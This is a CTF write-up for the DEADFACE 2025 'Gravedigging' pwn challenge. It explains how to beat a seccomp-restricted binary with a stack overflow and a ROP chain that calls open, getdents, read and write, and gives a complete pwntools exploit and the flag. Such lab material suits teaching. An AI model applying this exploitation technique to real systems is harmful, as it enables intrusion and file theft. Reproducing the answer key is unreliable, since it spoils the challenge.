GlitchKraken/Gravedigging
GitHub: GlitchKraken/Gravedigging
一道 DEADFACE CTF 2025 的 PWN 赛题,要求选手在 seccomp 限制下通过 ROP 技术实现文件系统遍历并读取 flag,并附带完整的解题思路与代码。
Stars: 0 | Forks: 0
## 描述

# 注意:fork 会干扰内存位置,玩家必须拥有各自独立的挑战实例!!!
Docker 镜像 tar 文件链接:[https://drive.google.com/file/d/1KiW4jkUySsJ4nLEJPUK8WFiGdW_aDH9H/view?usp=drive_link](https://drive.google.com/file/d/1KiW4jkUySsJ4nLEJPUK8WFiGdW_aDH9H/view?usp=drive_link "smartCard-inline")
分数:250
Docker 容器中的文件命名方式类似于坟墓 / 墓碑。玩家将使用 ROP 技术调用 **open**、**read**、**write** 和 **getdents**,以便在 docker 系统上浏览文件,并显示其中有趣的内容——因此被称为“掘墓”。
**注意**:'Sara Flagg'... 是实际包含 flag 的文件的名称。
.png)
Seccomp 将被启用,以防止玩家发出上述以外的 syscall。为了引导玩家朝正确的方向前进,二进制程序本身会提示玩家去检查 seccomp 设置。
## 挑战
DEADFACE 似乎从他们之前的错误中吸取了一些教训——尽管他们的代码依然很草率,但这个二进制程序比之前的程序锁得更严了。
根据我们的分析,似乎大部分有用的 syscall 都被禁用了,因此也不会有轻易获取的 shell...
我们**确信**运行此程序的服务器上有一些有趣的信息... 但是没有 shell,我们该如何浏览这个服务器上的文件呢?!
[下载 gravedigging.zip](https://tinyurl.com/35h65p3y "")
## 解题思路
**1.)** **初步摸底:** 与之前的挑战一样,玩家需要对二进制文件运行 **checksec**,以观察其架构以及有哪些可用技术。下图证实了我们处于 x64 位环境中,并且重用二进制程序中的代码可能是最简单的方法——因为 NX 位告诉我们,在栈上执行 shellcode 是**不可能**的。
.png)
**2.) 动手尝试:** 接下来,玩家至少要探索一下这个二进制程序,以了解接下来该寻找什么。
.png)
正如我们在上图中看到的,玩家已经得到了一个提示,即查看 seccomp 规则。在我们的目标二进制文件上运行开源的 'seccomp-tools' 程序,结果如下:
.png)
没错,就有趣的 syscall 而言:只允许使用 open、read、write 和 getdents。
只需简单用谷歌搜索一下,就能准确了解它们的作用。
3\.) **确认可利用性**:现在玩家已经知道允许哪些 syscall 了,是时候深入挖掘并尝试触发崩溃和 coredump 了,这样我们才能理解/控制 RIP。毕竟,如果我们_无法_控制 RIP,那么利用任何 syscall 的希望就微乎其微了;确认你能够通过某种方式控制程序始终是很重要的。
在这里,玩家需要尝试使用类似如下的技术:
```
cyclic [number]
```
来生成一长串填充字符(padding),以及
```
gdb ./program ./core
```
从而找出需要_**多少**_填充字符才能控制 RIP。
.png)
.png)
如上图所示,cyclic 告诉我们,在覆盖 RIP 之前,我们需要 24 字节的填充!确认完全控制的一个好方法是尝试用一个预期的值覆盖这个地址。传统上会使用 0xdeadbeef,但我更喜欢甜点,所以我选择了...
.png)
4\.) **寻找资源:** 接下来,我们需要识别出有趣的函数和 gadgets,它们将赋予我们对程序尽可能多的控制权。Gadgets 将允许我们在调用函数时手动设置寄存器,这意味着我们可以有效地利用程序中碰巧存在的指令,来编写我们_自己_的代码。
寻找有趣的函数就像在任何反编译器(如 ghidra、ida、[cutter.re](http://cutter.re "") 等)中打开程序一样简单。例如,找到 main 函数或存在漏洞的函数会很有意义;多次调用它们能让我们实现信息泄露、与程序进行动态交互,或者在情况变得一团糟时重新调整 exploit。
至于理解我们被允许使用的 syscall,
[https://x64.syscall.sh/](https://x64.syscall.sh/ "") 和 [https://www.man7.org/linux/man-pages/man2/syscalls.2.html](https://www.man7.org/linux/man-pages/man2/syscalls.2.html "smartCard-inline") 在这里将大有帮助,它们告诉我们每个 syscall 需要什么参数才能正常运行。
当然,我们也需要一个程序来_寻找_ gadgets!
[https://github.com/sashs/Ropper](https://github.com/sashs/Ropper "smartCard-inline") 和 [https://github.com/0vercl0k/rp](https://github.com/0vercl0k/rp "smartCard-inline")
为此都是绝佳的选择。
现在,开始搜索吧!
使用 'ropper -f ./gravedigging',我们寻找有用的 gadgets:
下面这些允许我们手动从栈中弹出到各个寄存器中;实际上,这意味着我们可以将函数调用的每一个参数都设置为我们控制的值。
.png)
我们还有 syscall,这让我们可以(潜在地)调用 syscall 表上的任何内容!太完美了。
.png)
5\.) **最后的拼图** 我们差一点点就集齐所有的拼图了,我们只需确保满足了 syscall 的所有函数**要求**:
- 我们需要调用 getdents,这样我们才能看到 docker 中程序旁边的所有文件。
- getdents 需要一个已被程序打开的文件夹的 fileDescriptor,所以我们绝对需要先以某种方式调用 open('.')。
- 当我们打开新文件时,我们要记住 fileDescriptor 会是一个递增的数字。由于 0、1、2 已被 stdin、stdout、stderr 占用——当我们打开一个文件时,我们获得的第一个 fd 将会是 3。
- 要调用 open('.'),我们需要能够访问字符串 '.'。这很合理,对吧?幸运的是,二进制程序中**存在**一些以 '.' 结尾的字符串/短语,这意味着玩家只需引用最后一个字符的地址,瞧!你现在就有了一个单点(dot)字符串。
- getdents、read 和 write 都**需要一个可写的缓冲区**——使用 pwndbg 的 'vmmap' 命令可以在程序中找到这样的空间:
.png)
如果我们输入:'x/20s [某块可写内存的地址]',(也就是说,从提供的地址开始检查接下来的 20 个字符串)最终我们会找到一个既可写、又不会影响周围数据导致情况变得一团糟的空间:
.png)
.png)
请特别注意,后面这些带有 “ “ 的地址都可以完美运行,如果你不在乎是否会影响之前的工作,只想尽快拿到 flag,那么重复使用它们也是完全可以的。
6\.) **将所有部分组合起来:**
现在,我们只需编写(大致完成)以下操作的代码:
\- 调用 open('.')
\- 调用 getdents(3, writableAddress, 200bytes_worth)
\- 调用 write(sdout, writableAddress, 200bytes_worth)
\- 使用 python 代码 .find('Sara') 来计算有趣的文件名距离 writableAddress 有多少字节,从而获取该字符串的地址。
\- 调用 open('Sara....')
\- 调用 read(4, writableAddress, 200)
\- 调用 write(stdout, writableAddress, 200)
```
from pwn import *
import struct
import time
############################################################
# 设置
############################################################
# 我当前用于测试的本地 docker 实例。
# player 可以简单地更改 addr。
HOST = '172.17.0.2'
PORT = 5632
# 这是可选的,它只是允许使用 tmux 进行分屏视图,这样我们
# 就可以在 GDB 中运行时同时看到终端和我们的 exploit。
# context.update(terminal=['tmux', 'splitw', '-h'])
#startup the program we wanna hack, in gdb.
# p = gdb.debug('./gravedigging', gdbscript='''
# init-pwndbg''')
# 建立到 challenge 的远程连接。
p = remote(HOST, PORT)
# 覆盖 RIP 所需的 padding。使用 cyclic 30 找到
padding = b"Z" * 24
# 用于测试 RIP 控制目的。
testAddr = p64(0xb0bacafe)
# 使用 ropper 找到的 gadgets。
popRAX = p64(0x4011aa)
popRDI = p64(0x4011a0)
popRDX = p64(0x4011af)
popRSI = p64(0x4011a5)
# 仅作为 gadget 的 ret,在 stack 未对齐时使用。这在 64-bit 环境中有时会发生。
ret = p64(0x40101a)
# '.' 是通过滥用程序中已存在的 strings 找到的。
singleDot = p64(0x40a1d3)
# 实际调用 open、read write 和 getdents 将需要用到它。
syscall = p64(0x40119a)
# 使用 pwndbg 的 'vmmap' 命令找到。没有 ASLR,因此该位置将保持一致。
# writable_mem = p64(0x40c0f0)
writable_mem = p64(0x40c734)
# 这里的情况类似,没有 ASLR 意味着我们可以直接硬编码任何与程序本身相关的内容,无需担心。
main = p64(0x401613)
vuln = p64(0x4011b4)
callPuts = p64(0x4014bd)
# 为我们认为包含 flag 的文件赋予一个超级明显的默认值名称,这样如果我们搞砸了,就可以在内存中看到它。
FileNameThatHasFlag = p64(0xdeadc0de)
# read,从 fd-3,读取到 writable_memory 中,共 20 字节。
do_read = popRAX+p64(0x0)+popRDI+p64(0x3)+popRSI+writable_mem+p64(20)+syscall
# write,将 getdents 的内容输出到标准输出,共 200 字节。
do_write_getdents = popRAX+p64(0x1)+popRDI+p64(0x1)+popRSI+writable_mem+popRDX+p64(0x200)+syscall
# 调用 open(".") 以便我们可以查看被黑程序的本地工作 dir 中的文件。
# 返回的 fd 应该为 3。
doOpen_localDir = popRAX+p64(0x2)+popRDI+singleDot+popRSI+p64(0x0)+syscall
# 调用 getdents,针对 fd 3、'.',并将本地 dir 条目放入 writable-mem 中,共 0x200 字节。
do_getDents = popRAX+p64(0x4E)+popRDI+p64(0x3)+popRSI+writable_mem+popRDX+p64(0x200)+syscall
############################################################
# EXPLOIT
############################################################
# 注意:我们再次调用 vuln 来重置一些东西,这可能是没必要的。
# 清除 buffer 直到最后一个 string。
p.clean()
# 调用 open("." ORRDONLY)
p.sendline(padding+doOpen_localDir+vuln)
# 现在调用 getDents,希望能将有趣的内容写入内存...
p.sendline(padding+do_getDents+vuln)
# 现在,将我们转储到内存中的内容取出,并将其 write 到 stdout。
p.sendline(padding+do_write_getdents+vuln)
# 将输出保存到变量中,以便我们进行处理。
getDentsOutput = p.clean()
# 为了完整性测试,显示我们理应从调用 getdents 中获得的内容。
print("~~~~~~~~~~~~\n\n")
print("GetDents Output: " + str(getDentsOutput))
# getdents 输出显示有一个名为 'Sara FLAGG' 的文件... 听起来够有趣的了!
# 让我们尝试转储它的内容!不过我们需要获取该文件名的确切地址。
# getDents 的输出整体看起来有点疯狂,所以这里我们使用 '.find()' 来
# 发现这个 'Sara Flagg' string 在我们的 writable_mem 地址前面多少字节处。
fileOffset = getDentsOutput.find(b'Sara')
print("FileOffset: " + str(fileOffset))
# 这是使用我们找到的 writable_mem 位置计算出来的,只需将 offset 加到它上面即可。
# 既然我们执行了 p.clean(),就不应该有任何额外的字节需要处理。
FileNameThatHasFlag = (0x40c734 + fileOffset)
print("Probable location: " + hex(FileNameThatHasFlag))
print(hexdump(getDentsOutput))
# p.clean()
print( str(len(getDentsOutput)) + " Bytes until flag file")
# 现在我们已经有了目标,定义 flag 的 open、read 和 write 操作。
openFlagFile = popRAX+p64(0x2)+popRDI+p64(FileNameThatHasFlag)+popRSI+p64(0x0)+syscall
readFlagFile = popRAX+p64(0x0)+popRDI+p64(0x4)+popRSI+writable_mem+popRDX+p64(200)+syscall
writeFlagFile = popRAX+p64(0x1)+popRDI+p64(0x1)+popRSI+writable_mem+popRDX+p64(200)+syscall
# 现在,我们尝试对我们认为是 flag 文件的内容调用 open、read 和 write。
p.sendline(padding+openFlagFile+vuln)
p.sendline(padding+readFlagFile+vuln)
p.sendline(padding+writeFlagFile+vuln)
p.interactive()
```
大功告成!
.png)
## Flag
`deadface{Th3_M05T_P0w3RfUl_5P3LLS_4Re_TH3_On35_N0B0dy_ExP3CT5}`
标签:PWN, ROP, Seccomp沙箱逃逸, Web报告查看器, 二进制漏洞利用, 请求拦截, 逆向工具